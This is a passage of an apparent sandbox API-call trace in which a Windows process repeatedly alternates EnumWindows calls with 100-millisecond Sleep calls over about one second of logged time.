[0144.760] Sleep (dwMilliseconds=0x64) [0144.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.761] Sleep (dwMilliseconds=0x64) [0144.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.763] Sleep (dwMilliseconds=0x64) [0144.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.765] Sleep (dwMilliseconds=0x64) [0144.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.767] Sleep (dwMilliseconds=0x64) [0144.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.768] Sleep (dwMilliseconds=0x64) [0144.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.770] Sleep (dwMilliseconds=0x64) [0144.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.771] Sleep (dwMilliseconds=0x64) [0144.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.773] Sleep (dwMilliseconds=0x64) [0144.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.805] Sleep (dwMilliseconds=0x64) [0144.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.807] Sleep (dwMilliseconds=0x64) [0144.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.810] Sleep (dwMilliseconds=0x64) [0144.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.811] Sleep (dwMilliseconds=0x64) [0144.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.813] Sleep (dwMilliseconds=0x64) [0144.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.816] Sleep (dwMilliseconds=0x64) [0144.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.817] Sleep (dwMilliseconds=0x64) [0144.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.819] Sleep (dwMilliseconds=0x64) [0144.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.821] Sleep (dwMilliseconds=0x64) [0144.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.824] Sleep (dwMilliseconds=0x64) [0144.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.826] Sleep (dwMilliseconds=0x64) [0144.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.828] Sleep (dwMilliseconds=0x64) [0144.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.829] Sleep (dwMilliseconds=0x64) [0144.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.831] Sleep (dwMilliseconds=0x64) [0144.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.833] Sleep (dwMilliseconds=0x64) [0144.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.835] Sleep (dwMilliseconds=0x64) [0144.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.837] Sleep (dwMilliseconds=0x64) [0144.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.840] Sleep (dwMilliseconds=0x64) [0144.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.842] Sleep (dwMilliseconds=0x64) [0144.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.844] Sleep (dwMilliseconds=0x64) [0144.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.845] Sleep (dwMilliseconds=0x64) [0144.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.847] Sleep (dwMilliseconds=0x64) [0144.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.848] Sleep (dwMilliseconds=0x64) [0144.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.850] Sleep (dwMilliseconds=0x64) [0144.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.852] Sleep (dwMilliseconds=0x64) [0144.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.931] Sleep (dwMilliseconds=0x64) [0144.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.932] Sleep (dwMilliseconds=0x64) [0144.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.934] Sleep (dwMilliseconds=0x64) [0144.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.957] Sleep (dwMilliseconds=0x64) [0144.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.959] Sleep (dwMilliseconds=0x64) [0144.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.967] Sleep (dwMilliseconds=0x64) [0144.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.969] Sleep (dwMilliseconds=0x64) [0144.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.970] Sleep (dwMilliseconds=0x64) [0144.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.972] Sleep (dwMilliseconds=0x64) [0144.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.974] Sleep (dwMilliseconds=0x64) [0144.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.976] Sleep (dwMilliseconds=0x64) [0144.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.978] Sleep (dwMilliseconds=0x64) [0144.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.980] Sleep (dwMilliseconds=0x64) [0144.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.982] Sleep (dwMilliseconds=0x64) [0144.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.984] Sleep (dwMilliseconds=0x64) [0144.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.985] Sleep (dwMilliseconds=0x64) [0144.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.988] Sleep (dwMilliseconds=0x64) [0144.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.990] Sleep (dwMilliseconds=0x64) [0144.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.992] Sleep (dwMilliseconds=0x64) [0144.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.993] Sleep (dwMilliseconds=0x64) [0144.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.995] Sleep (dwMilliseconds=0x64) [0144.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.997] Sleep (dwMilliseconds=0x64) [0144.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.999] Sleep (dwMilliseconds=0x64) [0145.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.001] Sleep (dwMilliseconds=0x64) [0145.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.003] Sleep (dwMilliseconds=0x64) [0145.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.005] Sleep (dwMilliseconds=0x64) [0145.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.007] Sleep (dwMilliseconds=0x64) [0145.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.009] Sleep (dwMilliseconds=0x64) [0145.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.011] Sleep (dwMilliseconds=0x64) [0145.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.051] Sleep (dwMilliseconds=0x64) [0145.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.071] Sleep (dwMilliseconds=0x64) [0145.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.075] Sleep (dwMilliseconds=0x64) [0145.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.077] Sleep (dwMilliseconds=0x64) [0145.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.079] Sleep (dwMilliseconds=0x64) [0145.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.081] Sleep (dwMilliseconds=0x64) [0145.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.083] Sleep (dwMilliseconds=0x64) [0145.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.084] Sleep (dwMilliseconds=0x64) [0145.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.086] Sleep (dwMilliseconds=0x64) [0145.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.087] Sleep (dwMilliseconds=0x64) [0145.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.089] Sleep (dwMilliseconds=0x64) [0145.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.162] Sleep (dwMilliseconds=0x64) [0145.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.164] Sleep (dwMilliseconds=0x64) [0145.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.166] Sleep (dwMilliseconds=0x64) [0145.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.245] Sleep (dwMilliseconds=0x64) [0145.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.247] Sleep (dwMilliseconds=0x64) [0145.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.249] Sleep (dwMilliseconds=0x64) [0145.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.251] Sleep (dwMilliseconds=0x64) [0145.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.252] Sleep (dwMilliseconds=0x64) [0145.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.254] Sleep (dwMilliseconds=0x64) [0145.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.255] Sleep (dwMilliseconds=0x64) [0145.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.257] Sleep (dwMilliseconds=0x64) [0145.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.258] Sleep (dwMilliseconds=0x64) [0145.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.260] Sleep (dwMilliseconds=0x64) [0145.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.261] Sleep (dwMilliseconds=0x64) [0145.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.293] Sleep (dwMilliseconds=0x64) [0145.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.330] Sleep (dwMilliseconds=0x64) [0145.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.410] Sleep (dwMilliseconds=0x64) [0145.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.414] Sleep (dwMilliseconds=0x64) [0145.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.417] Sleep (dwMilliseconds=0x64) [0145.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.419] Sleep (dwMilliseconds=0x64) [0145.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.420] Sleep (dwMilliseconds=0x64) [0145.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.422] Sleep (dwMilliseconds=0x64) [0145.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.423] Sleep (dwMilliseconds=0x64) [0145.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.425] Sleep (dwMilliseconds=0x64) [0145.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.426] Sleep (dwMilliseconds=0x64) [0145.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.430] Sleep (dwMilliseconds=0x64) [0145.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.432] Sleep (dwMilliseconds=0x64) [0145.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.435] Sleep (dwMilliseconds=0x64) [0145.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.436] Sleep (dwMilliseconds=0x64) [0145.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.438] Sleep (dwMilliseconds=0x64) [0145.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.440] Sleep (dwMilliseconds=0x64) [0145.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.442] Sleep (dwMilliseconds=0x64) [0145.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.456] Sleep (dwMilliseconds=0x64) [0145.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.459] Sleep (dwMilliseconds=0x64) [0145.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.460] Sleep (dwMilliseconds=0x64) [0145.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.462] Sleep (dwMilliseconds=0x64) [0145.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.464] Sleep (dwMilliseconds=0x64) [0145.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.466] Sleep (dwMilliseconds=0x64) [0145.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.469] Sleep (dwMilliseconds=0x64) [0145.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.470] Sleep (dwMilliseconds=0x64) [0145.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.472] Sleep (dwMilliseconds=0x64) [0145.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.474] Sleep (dwMilliseconds=0x64) [0145.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.476] Sleep (dwMilliseconds=0x64) [0145.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.477] Sleep (dwMilliseconds=0x64) [0145.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.479] Sleep (dwMilliseconds=0x64) [0145.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.480] Sleep (dwMilliseconds=0x64) [0145.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.482] Sleep (dwMilliseconds=0x64) [0145.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.483] Sleep (dwMilliseconds=0x64) [0145.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.485] Sleep (dwMilliseconds=0x64) [0145.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.486] Sleep (dwMilliseconds=0x64) [0145.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.510] Sleep (dwMilliseconds=0x64) [0145.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.569] Sleep (dwMilliseconds=0x64) [0145.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.579] Sleep (dwMilliseconds=0x64) [0145.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.582] Sleep (dwMilliseconds=0x64) [0145.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.584] Sleep (dwMilliseconds=0x64) [0145.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.586] Sleep (dwMilliseconds=0x64) [0145.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.587] Sleep (dwMilliseconds=0x64) [0145.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.589] Sleep (dwMilliseconds=0x64) [0145.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.594] Sleep (dwMilliseconds=0x64) [0145.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.596] Sleep (dwMilliseconds=0x64) [0145.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.598] Sleep (dwMilliseconds=0x64) [0145.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.619] Sleep (dwMilliseconds=0x64) [0145.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.621] Sleep (dwMilliseconds=0x64) [0145.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.623] Sleep (dwMilliseconds=0x64) [0145.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.625] Sleep (dwMilliseconds=0x64) [0145.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.627] Sleep (dwMilliseconds=0x64) [0145.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.629] Sleep (dwMilliseconds=0x64) [0145.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.631] Sleep (dwMilliseconds=0x64) [0145.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.632] Sleep (dwMilliseconds=0x64) [0145.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.635] Sleep (dwMilliseconds=0x64) [0145.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.637] Sleep (dwMilliseconds=0x64) [0145.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.639] Sleep (dwMilliseconds=0x64) [0145.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.641] Sleep (dwMilliseconds=0x64) [0145.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.643] Sleep (dwMilliseconds=0x64) [0145.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.645] Sleep (dwMilliseconds=0x64) [0145.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.647] Sleep (dwMilliseconds=0x64) [0145.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.649] Sleep (dwMilliseconds=0x64) [0145.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.651] Sleep (dwMilliseconds=0x64) [0145.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.653] Sleep (dwMilliseconds=0x64) [0145.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.654] Sleep (dwMilliseconds=0x64) [0145.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.656] Sleep (dwMilliseconds=0x64) [0145.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.658] Sleep (dwMilliseconds=0x64) [0145.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.659] Sleep (dwMilliseconds=0x64) [0145.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.661] Sleep (dwMilliseconds=0x64) [0145.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.663] Sleep (dwMilliseconds=0x64) [0145.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.664] Sleep (dwMilliseconds=0x64) [0145.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.666] Sleep (dwMilliseconds=0x64) [0145.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.667] Sleep (dwMilliseconds=0x64) [0145.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.669] Sleep (dwMilliseconds=0x64) [0145.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.671] Sleep (dwMilliseconds=0x64) [0145.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.672] Sleep (dwMilliseconds=0x64) [0145.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.674] Sleep (dwMilliseconds=0x64) [0145.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.676] Sleep (dwMilliseconds=0x64) [0145.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.679] Sleep (dwMilliseconds=0x64) [0145.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.681] Sleep (dwMilliseconds=0x64) [0145.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.683] Sleep (dwMilliseconds=0x64) [0145.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.711] Sleep (dwMilliseconds=0x64) [0145.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.713] Sleep (dwMilliseconds=0x64) [0145.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.715] Sleep (dwMilliseconds=0x64) [0145.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.718] Sleep (dwMilliseconds=0x64) [0145.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.721] Sleep (dwMilliseconds=0x64) [0145.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.723] Sleep (dwMilliseconds=0x64) [0145.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.724] Sleep (dwMilliseconds=0x64) [0145.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.726] Sleep (dwMilliseconds=0x64) [0145.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.727] Sleep (dwMilliseconds=0x64) [0145.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.730] Sleep (dwMilliseconds=0x64) [0145.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.731] Sleep (dwMilliseconds=0x64) [0145.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.733] Sleep (dwMilliseconds=0x64) [0145.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.735] Sleep (dwMilliseconds=0x64) [0145.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.737] Sleep (dwMilliseconds=0x64) [0145.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.738] Sleep (dwMilliseconds=0x64) [0145.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.740] Sleep (dwMilliseconds=0x64) [0145.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.742] Sleep (dwMilliseconds=0x64) [0145.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.744] Sleep (dwMilliseconds=0x64) [0145.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.746] Sleep (dwMilliseconds=0x64) [0145.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.748] Sleep (dwMilliseconds=0x64) [0145.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.750] Sleep (dwMilliseconds=0x64) [0145.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.752] Sleep (dwMilliseconds=0x64) [0145.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.754] Sleep (dwMilliseconds=0x64) [0145.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.756] Sleep (dwMilliseconds=0x64) [0145.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.758] Sleep (dwMilliseconds=0x64) [0145.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.760] Sleep (dwMilliseconds=0x64) [0145.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.762] Sleep (dwMilliseconds=0x64) [0145.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.764] Sleep (dwMilliseconds=0x64) [0145.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.766] Sleep (dwMilliseconds=0x64) [0145.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.768] Sleep (dwMilliseconds=0x64) [0145.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.769] Sleep (dwMilliseconds=0x64) [0145.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.771] Sleep (dwMilliseconds=0x64) [0145.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.773] Sleep (dwMilliseconds=0x64) [0145.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.775] Sleep (dwMilliseconds=0x64) [0145.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.777] Sleep (dwMilliseconds=0x64) [0145.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.779] Sleep (dwMilliseconds=0x64) [0145.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.780] Sleep (dwMilliseconds=0x64) [0145.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.782] Sleep (dwMilliseconds=0x64) [0145.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.784] Sleep (dwMilliseconds=0x64) [0145.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.786] Sleep (dwMilliseconds=0x64) [0145.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.788] Sleep (dwMilliseconds=0x64) [0145.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.790] Sleep (dwMilliseconds=0x64) [0145.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.792] Sleep (dwMilliseconds=0x64) [0145.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.793] Sleep (dwMilliseconds=0x64) [0145.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.795] Sleep (dwMilliseconds=0x64) [0145.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.797] Sleep (dwMilliseconds=0x64) [0145.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.798] Sleep (dwMilliseconds=0x64) [0145.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.800] Sleep (dwMilliseconds=0x64) [0145.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.802] Sleep (dwMilliseconds=0x64) [0145.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.804] Sleep (dwMilliseconds=0x64) [0145.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.805] Sleep (dwMilliseconds=0x64) [0145.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.807] Sleep (dwMilliseconds=0x64) [0145.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.809] Sleep (dwMilliseconds=0x64) [0145.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.811] Sleep (dwMilliseconds=0x64) [0145.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.814] Sleep (dwMilliseconds=0x64) [0145.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.816] Sleep (dwMilliseconds=0x64) [0145.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.818] Sleep (dwMilliseconds=0x64) [0145.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.819] Sleep (dwMilliseconds=0x64) [0145.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.828] Sleep (dwMilliseconds=0x64) [0145.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.829] Sleep (dwMilliseconds=0x64) [0145.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.831] Sleep (dwMilliseconds=0x64) [0145.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.833] Sleep (dwMilliseconds=0x64) [0145.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.834] Sleep (dwMilliseconds=0x64) [0145.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.837] Sleep (dwMilliseconds=0x64) [0145.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.839] Sleep (dwMilliseconds=0x64) [0145.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.841] Sleep (dwMilliseconds=0x64) [0145.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.843] Sleep (dwMilliseconds=0x64) [0145.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.845] Sleep (dwMilliseconds=0x64) [0145.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 